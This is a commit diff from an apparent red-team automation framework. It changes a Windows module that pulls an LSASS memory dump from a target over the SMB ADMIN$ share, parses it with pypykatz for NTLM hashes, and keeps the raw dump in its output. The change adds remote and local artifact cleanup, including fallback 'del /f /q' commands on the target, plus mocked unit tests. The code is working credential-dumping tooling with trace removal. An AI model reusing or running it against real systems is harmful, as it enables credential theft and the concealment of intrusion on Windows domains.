Skip to content

armgit / ARES

Public Imported from GitHub
0

ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.

fix(resource): lsass_dump local and remote artifact teardown (MOD-025)

Mafifrizi9ccdbdeb8e09
diff --git a/ares/modules/windows/lsass_dump.py b/ares/modules/windows/lsass_dump.py
index e50829a..daa2d6d 100644
--- a/ares/modules/windows/lsass_dump.py
+++ b/ares/modules/windows/lsass_dump.py
@@ -457,6 +457,7 @@ class LsassDumpModule(BaseModule):
for h in hashes],
"protections": protections,
"mitigated": False,
+ "dump_data": getattr(self, "_last_dump_data", None) or b"",
}
raw["ntlm_hashes"] = raw.get("hashes", []) # OUTPUTS key
@@ -652,45 +653,61 @@ class LsassDumpModule(BaseModule):
pass # file not yet visible
_time.sleep(1)
from ares.core.security import secure_mkstemp
- local_dump, _fd = secure_mkstemp(suffix=".dmp", prefix="ares_lsass_")
- import os as _os_tmp; _os_tmp.close(_fd) # mkstemp opens fd - close immediately, file will be written via SMB
-
+ local_dump = None
+ self._last_dump_data = b""
try:
- with open(local_dump, "wb") as f:
- conn_smb.getFile("ADMIN$", f"Temp\\{dump_name}", f.write)
- except Exception as exc:
- logger.warning("lsass_dump_transfer_failed",
- target=target, error=str(exc)[:80],
- exc_type=type(exc).__name__)
- conn_smb.logoff()
- return []
- finally:
- # Step 5: Delete dump from target
- try:
- conn_smb.deleteFile("ADMIN$", f"Temp\\{dump_name}")
- except Exception:
- pass
- conn_smb.logoff()
+ local_dump, _fd = secure_mkstemp(suffix=".dmp", prefix="ares_lsass_")
+ import os as _os_tmp; _os_tmp.close(_fd) # mkstemp opens fd - close immediately, file will be written via SMB
- # Step 4: Parse with pypykatz
- hashes = self._parse_dump(local_dump)
+ try:
+ with open(local_dump, "wb") as f:
+ conn_smb.getFile("ADMIN$", f"Temp\\{dump_name}", f.write)
+ except Exception as exc:
+ logger.warning("lsass_dump_transfer_failed",
+ target=target, error=str(exc)[:80],
+ exc_type=type(exc).__name__)
+ return []
+ finally:
+ # Step 5: Delete dump from target
+ try:
+ conn_smb.deleteFile("ADMIN$", f"Temp\\{dump_name}")
+ except Exception:
+ try:
+ self._run_remote_cmd(target, username, password, domain,
+ lmhash, nthash, f"del /f /q C:\\Windows\\Temp\\{dump_name}", dump_id)
+ except Exception:
+ pass
+ conn_smb.logoff()
- # Secure-delete local dump
- try:
- with open(local_dump, "wb") as f:
- f.write(b"\x00" * os.path.getsize(local_dump))
- os.unlink(local_dump)
- except Exception:
+ # Read dump data into memory before parsing / deleting
try:
- os.unlink(local_dump)
+ with open(local_dump, "rb") as f:
+ self._last_dump_data = f.read()
except Exception:
pass
- return hashes
+ # Step 4: Parse with pypykatz
+ hashes = self._parse_dump(local_dump)
+ return hashes
+ finally:
+ # Secure-delete local dump
+ if local_dump and os.path.exists(local_dump):
+ try:
+ with open(local_dump, "wb") as f:
+ f.write(b"\x00" * os.path.getsize(local_dump))
+ os.unlink(local_dump)
+ except Exception:
+ try:
+ os.unlink(local_dump)
+ except Exception:
+ pass
def _get_lsass_pid(self, target: str, username: str, password: str,
domain: str, lmhash: str, nthash: str) -> int:
"""Get LSASS PID via remote tasklist."""
+ id_ = None
+ out_file = None
+ cleaned_up = False
try:
from impacket.smbconnection import SMBConnection
from impacket.dcerpc.v5 import transport, scmr
@@ -706,16 +723,27 @@ class LsassDumpModule(BaseModule):
import time as _t
_t.sleep(1)
- smb = SMBConnection(target, target, timeout=10)
- smb.login(username, password, domain, lmhash, nthash)
+ smb = None
buf = io.BytesIO()
try:
- smb.getFile("ADMIN$", f"Temp\\{out_file}", buf.write)
- smb.deleteFile("ADMIN$", f"Temp\\{out_file}")
+ smb = SMBConnection(target, target, timeout=10)
+ smb.login(username, password, domain, lmhash, nthash)
+ try:
+ smb.getFile("ADMIN$", f"Temp\\{out_file}", buf.write)
+ finally:
+ try:
+ smb.deleteFile("ADMIN$", f"Temp\\{out_file}")
+ cleaned_up = True
+ except Exception:
+ pass
except Exception:
pass
finally:
- smb.logoff()
+ if smb:
+ try:
+ smb.logoff()
+ except Exception:
+ pass
output = buf.getvalue().decode("utf-8", errors="replace")
for line in output.splitlines():
@@ -725,6 +753,14 @@ class LsassDumpModule(BaseModule):
return int(parts[1].strip())
except Exception:
pass
+ finally:
+ if out_file and not cleaned_up:
+ try:
+ del_cmd = f"del /f /q C:\\Windows\\Temp\\{out_file}"
+ self._run_remote_cmd(target, username, password, domain,
+ lmhash, nthash, del_cmd, f"DEL{id_ or 'PID'}")
+ except Exception:
+ pass
return 0
def _run_remote_cmd(self, target: str, username: str, password: str,
diff --git a/tests/unit/modules/test_lsass_dump_teardown.py b/tests/unit/modules/test_lsass_dump_teardown.py
new file mode 100644
index 0000000..615b0e0
--- /dev/null
+++ b/tests/unit/modules/test_lsass_dump_teardown.py
@@ -0,0 +1,140 @@
+from __future__ import annotations
+
+import os
+import sys
+from unittest.mock import MagicMock, patch
+import pytest
+
+from ares.core.campaign import Campaign, NoiseProfile, ScopeEntry
+from ares.core.config import AresSettings
+from ares.core.noise import NoiseController
+from ares.modules.windows.lsass_dump import LsassDumpModule
+
+
+def _make_module():
+ settings = AresSettings(
+ ares_secret_key="test-secret-key-min32-chars-here!!",
+ ares_encryption_key="test-enc-key-min32-chars-here-xxx",
+ )
+ campaign = Campaign(
+ name="LSASS-Teardown-Test",
+ operator="test_operator",
+ scope=[ScopeEntry(cidr="10.0.0.0/24")],
+ noise_profile=NoiseProfile.NORMAL,
+ )
+ noise = NoiseController(campaign)
+ return LsassDumpModule(settings=settings, campaign=campaign, noise=noise)
+
+
+def _mock_impacket_modules(mock_smb_cls):
+ mock_impacket = MagicMock()
+ mock_smb = MagicMock()
+ mock_smb.SMBConnection = mock_smb_cls
+ mock_dcerpc = MagicMock()
+ mock_scmr = MagicMock()
+ mock_transport = MagicMock()
+
+ return {
+ "impacket": mock_impacket,
+ "impacket.smbconnection": mock_smb,
+ "impacket.dcerpc": mock_dcerpc,
+ "impacket.dcerpc.v5": mock_dcerpc,
+ "impacket.dcerpc.v5.transport": mock_transport,
+ "impacket.dcerpc.v5.scmr": mock_scmr,
+ }
+
+
+def test_lsass_dump_local_teardown_normal():
+ """MOD-025: local dump file does not exist on disk after normal run completion."""
+ mod = _make_module()
+ created_local_files = []
+
+ mock_smb_instance = MagicMock()
+ mock_smb_instance.getAttributes.return_value.get_filesize.return_value = 1024
+
+ def side_effect_get_file(share, path, write_fn):
+ write_fn(b"DUMP_CONTENT_BYTES")
+
+ mock_smb_instance.getFile.side_effect = side_effect_get_file
+ mock_smb_cls = MagicMock(return_value=mock_smb_instance)
+
+ mock_mods = _mock_impacket_modules(mock_smb_cls)
+
+ from ares.core.security import secure_mkstemp
+ orig_secure_mkstemp = secure_mkstemp
+
+ def tracking_mkstemp(*args, **kwargs):
+ path, fd = orig_secure_mkstemp(*args, **kwargs)
+ created_local_files.append(path)
+ return path, fd
+
+ with patch.dict("sys.modules", mock_mods), \
+ patch.object(mod, "_get_lsass_pid", return_value=668), \
+ patch.object(mod, "_run_remote_cmd"), \
+ patch("time.sleep"), \
+ patch.object(mod, "_parse_dump", return_value=[{"username": "Administrator", "nt_hash": "aad3b435b51404eeaad3b435b51404ee"}]), \
+ patch("ares.core.security.secure_mkstemp", side_effect=tracking_mkstemp):
+
+ hashes = mod._comsvcs_dump_sync("10.0.0.5", "admin", "pass", "corp.local", "", "")
+ assert len(hashes) == 1
+ assert len(created_local_files) == 1
+ assert not os.path.exists(created_local_files[0]), "Local dump file must be unlinked"
+ assert mod._last_dump_data == b"DUMP_CONTENT_BYTES"
+
+
+def test_lsass_dump_local_teardown_on_crash():
+ """MOD-025: local dump file does not exist on disk even if parsing crashes."""
+ mod = _make_module()
+ created_local_files = []
+
+ mock_smb_instance = MagicMock()
+ mock_smb_instance.getAttributes.return_value.get_filesize.return_value = 1024
+
+ def side_effect_get_file(share, path, write_fn):
+ write_fn(b"CORRUPTED_DUMP")
+
+ mock_smb_instance.getFile.side_effect = side_effect_get_file
+ mock_smb_cls = MagicMock(return_value=mock_smb_instance)
+ mock_mods = _mock_impacket_modules(mock_smb_cls)
+
+ from ares.core.security import secure_mkstemp
+ orig_secure_mkstemp = secure_mkstemp
+
+ def tracking_mkstemp(*args, **kwargs):
+ path, fd = orig_secure_mkstemp(*args, **kwargs)
+ created_local_files.append(path)
+ return path, fd
+
+ with patch.dict("sys.modules", mock_mods), \
+ patch.object(mod, "_get_lsass_pid", return_value=668), \
+ patch.object(mod, "_run_remote_cmd"), \
+ patch("time.sleep"), \
+ patch.object(mod, "_parse_dump", side_effect=RuntimeError("Simulated pypykatz crash")), \
+ patch("ares.core.security.secure_mkstemp", side_effect=tracking_mkstemp):
+
+ with pytest.raises(RuntimeError, match="Simulated pypykatz crash"):
+ mod._comsvcs_dump_sync("10.0.0.5", "admin", "pass", "corp.local", "", "")
+
+ assert len(created_local_files) == 1
+ assert not os.path.exists(created_local_files[0]), "Local dump file must be unlinked after crash"
+
+
+def test_lsass_pid_remote_cleanup_command_called():
+ """MOD-025: remote PID file cleanup command is executed if SMB delete fails or connection drops."""
+ mod = _make_module()
+ remote_cmds = []
+
+ def tracking_run_remote_cmd(target, username, password, domain, lmhash, nthash, cmd, suffix):
+ remote_cmds.append(cmd)
+
+ mock_smb_cls = MagicMock(side_effect=ConnectionResetError("SMB connection lost"))
+ mock_mods = _mock_impacket_modules(mock_smb_cls)
+
+ with patch.dict("sys.modules", mock_mods), \
+ patch.object(mod, "_run_remote_cmd", side_effect=tracking_run_remote_cmd), \
+ patch("time.sleep"):
+
+ pid = mod._get_lsass_pid("10.0.0.5", "admin", "pass", "corp.local", "", "")
+ assert pid == 0
+ # Check that fallback delete command was issued
+ assert any("del /f /q C:\\Windows\\Temp\\ARESPID" in cmd for cmd in remote_cmds)